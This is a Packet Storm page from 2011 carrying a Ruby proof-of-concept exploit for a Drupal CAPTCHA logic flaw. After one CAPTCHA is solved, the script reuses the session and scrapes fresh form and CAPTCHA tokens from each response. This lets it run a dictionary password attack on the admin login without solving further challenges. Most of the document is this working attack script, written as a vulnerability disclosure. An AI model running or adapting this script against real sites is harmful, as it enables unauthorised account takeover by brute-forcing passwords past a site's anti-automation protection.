what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Drupal CAPTCHA Logic Security Flaw

Drupal CAPTCHA Logic Security Flaw
Posted Feb 10, 2011
Authored by Michele Orru

This is a proof of concept to demonstrate a logic security flow in the way Drupal CAPTCHA is used to protect login forms from bruteforce. If the CAPTCHA challenge is solved, the next login attempts can be issued without solving any new CAPTCHA challenge.

tags | exploit, proof of concept
SHA-256 | da7f99e45b5a53895b8bd9dac1825527757ca21c77e749a8c8a3b52db4fe457e

Drupal CAPTCHA Logic Security Flaw

Change Mirror Download
# Drupal Captcha bruteforcing bypass

# This is a Proof Of Concept to demonstrate a logic security flow
# in the way drupal captcha is used to protect login forms
# from bruteforce. If the captcha challenge is solved, the next
# login attempts can be issued without solving any new captcha challenge.

# Usage: change URL, PATH, USERAGENT as you need.
# Change cookie, captcha_sid, captcha_token, form_build_id with the values
# you got in the html response AFTER the captcha is solved. This is needed
# in order to issue the first request as valid.
# Unique tokens will be then updated automatically .


# author: Michele "antisnatchor" Orru'

require "net/http"
require "net/https"
require "erb"
require "singleton"
require "rubygems"
require "nokogiri"


URL = 'antisnatchor.com'
PATH = '/user'
USERAGENT = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13'

# easy to enhance this reading list from a file, but this is just a PoC
USERNAME_LIST = ['admin']
PASSWD_LIST = ['test1', 'test2', 'test3', 'guessme']

# these are the session values needed to create valid http requests, after
# the reCaptcha has been solved the first time, leaving the login form
# without a new captcha challenge
cookie = "SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0; has_js=1;"
captcha_sid = "476"
form_id = "user_login"


# these anti-XSRF tokens will change for every http response,
# so nokogiri is used to parse the html response in order to create
# the next http request with the valid anti-xsrf/captcha tokens.
# These initial values will be changed accordingly and automatically
# for each request .

captcha_token = "d853d6df05f6c6a956a46f20c8fe20aa"
form_build_id = "form-43fb0bcbcb140066a782a3fc23ab1ab7"

authenticated = false;


@http = Net::HTTP.new(URL, 80)
@http.use_ssl = false

puts "+Initial xsrf token [" + form_build_id + "]"
puts "+Initial captcha token [" + captcha_token + "]"
puts "+Dictionary attack with [" + PASSWD_LIST.size.to_s + "] passwords"
# I'm learning ruby :-)
passwd_counter = 0

while !authenticated && passwd_counter < PASSWD_LIST.size do
puts "+Testing password [" + PASSWD_LIST[passwd_counter] + "]"

post_data = "name=" + USERNAME_LIST[0] + "&pass=" + PASSWD_LIST[passwd_counter] + "&form_build_id=" + form_build_id +
"&form_id=" + form_id + "&captcha_sid="+ captcha_sid +
"&captcha_token=" + captcha_token + "&op=Log+in"
@headers = {
'Cookie' => cookie,
'Referer' => 'http://' + URL + PATH,
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => USERAGENT
}

puts "+Request headers = " + @headers.inspect

resp, data = @http.post2(PATH, post_data, @headers)

# loads the response in nokogiri to parse anti-XSRF tokens
doc = Nokogiri::HTML(data)
puts '+Code = ' + resp.code
puts '+Message = ' + resp.message


# "debug" code
#puts "=================================================== raw response START ======================================================="
#puts data
#puts "=================================================== raw response END ======================================================="

if data.index("CAPTCHA session reuse attack detected") != nil
puts "Doh', we've been detected by Drupal...quitting now"
break
end

if data.index("Sorry, unrecognized username or password") == nil && resp.code == "302"
# if credentials will be valid, there will be a 302 response with
# a new location header, corresponding to the user home page (http://antisnatchor.com/user/1 for instance)
authenticated = true
else
#parse the anti-xsrf and captcha tokens from the response
doc.css('input[id^=form]').each do |form_build_id|
form_build_id = form_build_id['id']
puts "+New xsrf token [" + form_build_id + "]"
end

doc.css('input[id^=edit-captcha-token]').each do |captcha_token_id|
captcha_token = captcha_token_id['value']
puts "+New captcha token [" + captcha_token + "]"
end

# I'm still learning ruby :-)
passwd_counter = passwd_counter + 1;

end
break if authenticated == true
end

if authenticated
puts "+Succesfully authenticated user[" + USERNAME_LIST[0] + "] with password [" + PASSWD_LIST[passwd_counter] + "]"
else
puts "+No passwords are valid for user [" + USERNAME_LIST[0] + "]. Dictionary attack failed."
end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close